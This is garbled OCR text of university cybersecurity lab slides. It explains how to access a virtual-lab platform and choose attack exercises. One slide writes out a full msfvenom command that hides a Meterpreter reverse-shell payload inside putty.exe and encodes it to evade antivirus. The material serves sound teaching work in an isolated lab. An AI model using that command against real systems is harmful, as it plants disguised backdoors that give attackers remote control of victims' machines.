time. This helps evading some weak Antivirus and Antimalware products.

e [ 3} specify the number of times to encode the payload.

e [b ™\x007 specify the characters to avoid (i.e., bad characters). These are
characters known to make the shell or application crash.

e [£ exel specify the output format (windows executable).

v X neTLas- x |+

= G © Notsecure hétpsi//10.173.78.50/lab.cgi ¥ ¢ 0 060

M Gmail @B YouTube @ Maps [l Special Topicsin Int.. B Translate [f] rout el Build a Fast Networ.. »
UNIVERSITY O1

S()U"‘l (‘N{O”NA #A Home Reservation ~

MyNETLAB > CyberSec_H1_12004 > Reservation 31355 > Lab 4: Collecting Information with Spyware: Screen Captures and
Keyloggers

(NRGLGIGE & Content o Status O Victim ~ O BR/FW ~ OO Attacker ~

L DNS server ~

L Web server ~

O Mail server ~

Internal network

Victim

192.168.0.0/24 216.0.0.0/16

Web DNS Mail
e [0 puttyX.exe] save the payload to a file named puttyX.exe. server server server
177 1 nn/1e
1741000710

msfvenom -a x86 --platform windows -x putty.exe -k -p
windows/meterpreter/reverse tcp LHOST=216.0.0.10 LPORT=4444 -e
x86/shikata ga nai -i 3 -b "\x00” -f exe -o puttyX.exe

New Chrome available }

3 All Bookmarks

& ckfoury v

Time Remaining
2 53

hrs. min.




Execute lab experiments / cyber-attacks (self-paced)
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Access to Virtual Labs

o Slides:
https://research.cec.sc.edu/cyberinfra/seminar-november-2024

* Virtual lab libraries:
http://ce.sc.edu/cyberinfra/cybertraining.htmi
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https://research.cec.sc.edu/cyberinfra/seminar-november-2024
http://ce.sc.edu/cyberinfra/cybertraining.html

Accessing the Platform

 Please use the following link to access the platform:
e https://netlab.cec.sc.edu/

* Login using the following credentials:
* Username:
« Temporary Password:

Welcome

netlab.cec.sc.edu

‘ & Change Password

Cyberinfrastructure

Lab @ UofSC

This is the first time you have logged into this account.

You will now be asked to provide some account settings. These can be changed later.

New Password
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https://netlab.cec.sc.edu/

Accessing the Platform

 Please use the following link to access the platform:

e https://netlab.cec.sc.edu/
* Login using the following credentials:
 Username:
« Temporary Password:

Please enter a valid e-mail address.

You can leave this blank if you do not want to receive e-mail from the system.

- & Change E-mail Address

E-mail Address | testuser@example.edy l

=)

@ Date and Time Settings

Time Zone

Date Display Format

Time Display Format

First Day of Week

(GMT-05:00) Eastern Time (US & Canada)
YYYY-MM-DD (2016-09-15)
24 Hour (15:37) -

Sunday -
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https://netlab.cec.sc.edu/

Accessing the Platform

* Click on New Lab Reservation
* Click on Schedule Lab for Myself

f Scheduled Lab Reservations

You have no scheduled lab reservations

© New Lab Reservation ~

=)

£ Scheduled Lab Reservations

You have no scheduled lab reservations.

© New Lab Reservation »

| & Schedule Lab for Myself]
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Accessing the Platform

 Select the course
* For this session, we will use “Cybersecurity Fundamentals”

MyNETLAB > Schedule (Self) > Select Class (WASTC Spring 2024) > Select Content

Multiple course topics are available in this class. Please select one.

Cybersecurity Applications on P4

This pod uses P4 programmable data planes to present security applications

Cybersecurity Fundamentals
Introduction to Cybersecurity Fundamentals

Intro. to P4 Programmable Data Planes
Introduction to P4 programmable data planes with BMv2

@ Previous
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Accessing the Platform

Lab Name Action
Py S e I e Ct th e Lab Lab 1: Reconnaissance: Scanning with NMAF Vulnerability Assessment with OpenVAS -
Lab 2: Remote Access Trojan (RAT) using Reverse TCP Meterpreter -
* For th | ;
Or IS SESSIOn ] We WI ru n " Lab 3: Escalating Privileges and Installing a Backdoor -

® Lab 4: CO | IeCtI n g I nfo rm atl O n Wlth S pyware : ILab 4: Collecting Information with Spyware: Screen Captures and Keyloggersl -
SC re e n Captu reS an d Keyl Og g e rS Lab 5: Social Engineering Attack: Credenfials Harvesting and Remote Access through Phishing Emails -

Lab 6: SQL Injection Attack on a Web Application -
Lab 7: Cross-site Scripting (XSS) Attack on a Web Application -
Lab 8: Denial of Service (DoS) Attacks: SYN/FIN/RST Flood, Smurf attack, and SlowlLoris -
Lab 9: Cryptographic Hashing and Symmetric Encryption -
Lab 10: Asymmetric Encryption: RSA, Digital Signatures, Diffie-Hellman -
Lab 11: Public Key Infrastructure: Certificate Authority, Digital Certificate -
Lab 12: Configuring a Stateful Packet Filter using iptables -
Lab 13: Online Dictionary Attack against a Login Webpage -
Lab 14: Intrusion Detection and Prevention using Suricata -
Lab 15: Packet Sniffing and Relay Attack -
Lab 16: DNS Cache Poisoning -
Lab 17: Man in the Middle Attack using ARP Spoofing -
Lab 18: Understanding Buffer Overflow Attacks in a Vulnerable Application -
Lab 19: Conducting Offline Password Attacks -
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Accessing the Platform

» Select the next available POD and allocate time

9 Pod Scheduler

4« ~ December- 2023- )
Sun Mon Tue Wed Thu Fri Sat Selected Day Current Time

26 27 28 29 30 1 2 December o

3 4 5 6 7 8 9 \/

0 11 12 13 14 15 16 31 N

17 18 19 20 21 22 23 1006

& 2? 22 2; 22 2: 32 2023 Eastern Time (US & Canada)
CyberSec_H1_12001 CyberSec_H3_12002 CyberSec_H2_12003 CyberSec_H1_12004

B B B ®®

09:00 ~

10:00

11:00

12:00

13:00

Add Reservation

Pod

Reservation Type
Reserve For

Lab Exercise
Time Zone

Start Time

End Time

Length of Reservation

Cybersec_H2_12011
Instructor Private Reservation
Jose Gomez
Lab 4: Collecting Information with Spyware: Screen Captures and Keyloggers
Eastern Time (US & Canada)
2024-02-06 20:53

2024-02-06 21:30

26 mins.

@ Submit EEILENTE w
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Contact Information

Jorge Crichigno
crichigno@cec.sc.edu
https://research.cec.sc.edu/cyberinfra
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